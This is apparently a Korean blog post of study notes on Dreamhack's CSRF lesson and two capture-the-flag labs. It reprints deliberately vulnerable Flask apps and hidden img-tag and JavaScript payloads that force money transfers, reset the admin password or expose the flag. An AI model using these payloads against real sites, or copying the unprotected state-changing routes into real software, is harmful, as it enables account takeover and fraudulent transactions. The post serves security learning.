STAGE 5 : Cross Site Request Forgery (CSRF)
CSFR
> ClientSide : CSFR
Cross Site Request Forgery (CSRF)
: 임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점, 공격자는 임의 이용자의 권한으로 서비스 기능을 사용해 이득을 취할 수 있다.
ex ) 이용자의 계정으로 임의 금액을 송금해 금전적인 이득을 취하거나 비밀번호를 변경해 계정을 탈취하고, 관리자 계정을 공격해 공지사항 작성 등으로 혼란을 야기할 수 있다.
- 송금 기능 ( ⊃ CSRF 취약점 )
# 이용자가 /sendmoney에 접속했을때 아래와 같은 송금 기능을 웹 서비스가 실행함.
@app.route('/sendmoney')
def sendmoney(name):
# 송금을 받는 사람과 금액을 입력받음.
to_user = request.args.get('to')
amount = int(request.args.get('amount'))
# 송금 기능 실행 후, 결과 반환
success_status = send_money(to_user, amount)
# 송금이 성공했을 때,
if success_status:
# 성공 메시지 출력
return "Send success."
# 송금이 실패했을 때,
else:
# 실패 메시지 출력
return "Send fail."
-> 이용자로부터 예금주와 금액을 입력받고 송금을 수행한다. 이 때 계좌 비밀번호, OTP 등을 사용하지 않기 때문에 로그인한 이용자는 추가 인증 정보 없이 해당 기능을 이용할 수 있다.
- Cross Site Request Forgery 동작
⋅ CSRF 공격에 성공하기 위해서는 공격자가 작성한 악성 스크립트(HTTP요청을 보내는 코드)를 이용자가 실행해야 한다. 이는 공격자가 이용자에게 메일을 보내거나 게시판에 글을 작성해 이용자가 이를 조회하도록 유도하는 방법이 있다.
⋅ CSRF 공격 스크립트는 HTML, Javascript를 통해 작성할 수 있다. 아래 사진을 HTML로 작성한 코드이다.
⋅ img, form 태그를 이용해 HTTP 요청을 보내면 HTTP 헤더인 Cookie에 이용자의 인증 정보가 포함된다.
<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337' width=0px height=0px>
⋅ 위는 img태그를 사용한 스크립트이다. 해당 태그는 이미지 크기를 줄일 수 있는 옵션을 제공한다. 이를 활용하면 이용자에게 들키지 않고 임의 페이지에 요청을 보낼 수 있다.
/* 새 창 띄우기 */
window.open('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
/* 현재 창 주소 옮기기 */
location.href = 'http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337';
location.replace('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
⋅ 위는 Javascript로 작성된 스크립트이다. 새로운 창을 띄우고, 현재 창의 주소를 옮기는 등의 행위가 가능하다.
공통점 | 차이점 | |
XSS | 두 개의 취약점은 모두 클라이언트를 대상으로 하는 공격이며, 이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야 한다. | 인증정보인 세션 및 쿠키 탈취를 목적으로 하는 공격이며, 공격할 사이트의 오리진에서 스크립트를 실행시킨다. |
CSRF | 이용자가 임의 페이지에 HTTP요청을 보내는 것을 목적으로 하는 공격이다. 또한, 공격자는 악성스크립트가 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있다. |
[혼자실습] CSRF
먼저 guest로 로그인을 해주었더니 아래와 같은 문구가 떴다.
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
users = {
'guest': 'guest',
'admin': FLAG
}
session_storage = {}
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
print(str(e))
# return str(e)
return False
driver.quit()
return True
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
session_id = os.urandom(16).hex()
session_storage[session_id] = 'admin'
if not check_csrf(param, {"name":"sessionid", "value": session_id}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(8).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
@app.route("/change_password")
def change_password():
pw = request.args.get("pw", "")
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
users[username] = pw
return 'Done'
app.run(host="0.0.0.0", port=8000)
위에서 배운 img 태그를 이용해서 password를 변경하기 위해보기로 했다.
change_password 함수를 이용해서 pw를 1234로 변경해주었다.
<img src="/change_password?pw=1234">
username은 admin, password는 1234라고 입력해주었더니 아래와 같이 flag가 나왔다.
[함께실습] CSRF
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"}) # 관리자 쿠키가 적용되는 범위를 127.0.0.1로 제한되도록 설정
try:
options = webdriver.ChromeOptions() # 크롬 옵션을 사용하도록 설정
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_) # 크롬 브라우저 옵션 설정
driver = webdriver.Chrome("/chromedriver", options=options) # 셀레늄에서 크롬 브라우저 사용
driver.implicitly_wait(3) # 크롬 로딩타임을 위한 타임아웃 3초 설정
driver.set_page_load_timeout(3) # 페이지가 오픈되는 타임아웃 시간 3초 설정
driver.get("http://127.0.0.1:8000/") # 관리자가 CSRF-1 문제 사이트 접속
driver.add_cookie(cookie) # 관리자 쿠키 적용
driver.get(url) # 인자로 전달된 url에 접속
except Exception as e:
driver.quit() # 셀레늄 종료
print(str(e))
# return str(e)
return False # 접속 중 오류가 발생하면 비정상 종료 처리
driver.quit() # 셀레늄 종료
return True # 정상 종료 처리
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}" # 로컬 URL 설정
return read_url(url, cookie) # URL 방문
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln") # vuln 페이지 라우팅 (이용자가 /vuln 페이지에 접근시 아래 코드 실행)
def vuln():
param = request.args.get("param", "").lower() # 이용자가 입력한 param 파라미터를 소문자로 변경
xss_filter = ["frame", "script", "on"] # 세 가지 필터링 키워드
for _ in xss_filter:
param = param.replace(_, "*") # 이용자가 입력한 값 중에 필터링 키워드가 있는 경우, '*'로 치환
return param # 이용자의 입력 값을 화면 상에 표시
@app.route("/flag", methods=["GET", "POST"]) # flag 페이지 라우팅 (GET, POST 요청을 모두 받음)
def flag():
if request.method == "GET": # 이용자의 요청이 GET 메소드인 경우
return render_template("flag.html") # 이용자에게 링크를 입력받는 화면을 출력
elif request.method == "POST": # 이용자의 요청이 POST 메소드인 경우
param = request.form.get("param", "") # param 파라미터를 가져온 후,
if not check_csrf(param): # 관리자에게 접속 요청 (check_csrf 함수)
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route('/memo') # memo 페이지 라우팅
def memo(): # memo 함수 선언
global memo_text # 메모를 전역변수로 참조
text = request.args.get('memo', '') # 이용자가 전송한 memo 입력값을 가져옴
memo_text += text + '\n' # 메모의 마지막에 새 줄 삽입 후 메모에 기록
return render_template('memo.html', memo=memo_text) # 사이트에 기록된 메모를 화면에 출력
@app.route('/admin/notice_flag') # notice_flag 페이지 라우팅
def admin_notice_flag():
global memo_text # 메모를 전역변수로 참조
if request.remote_addr != '127.0.0.1': # 이용자의 IP가 로컬호스트가 아닌 경우
return 'Access Denied' # 접근 제한
if request.args.get('userid', '') != 'admin': # userid 파라미터가 admin이 아닌 경우
return 'Access Denied 2' # 접근 제한
memo_text += f'[Notice] flag is {FLAG}\n' # 위의 조건을 만족한 경우 메모에 FLAG 기록
return 'Ok' # Ok 반환
app.run(host="0.0.0.0", port=8000)
img 태그를 활용해 param에 코드를 작성해주었다.
<img src="/admin/notice_flag?userid=admin">
memo에 다음과 같이 flag를 확인할 수 있었다.
'Web Hacking > Dreamhack' 카테고리의 다른 글
[Dreamhack] Web Hacking STAGE 7 (0) | 2022.08.09 |
---|---|
[Dreamhack] Web Hacking STAGE 6 (0) | 2022.08.02 |
[Dreamhack] Web Hacking STAGE 4 (0) | 2022.07.19 |
[Dreamhack] Web Hacking STAGE 3 (0) | 2022.07.13 |
[Dreamhack] Web Hacking STAGE 2 (0) | 2022.07.06 |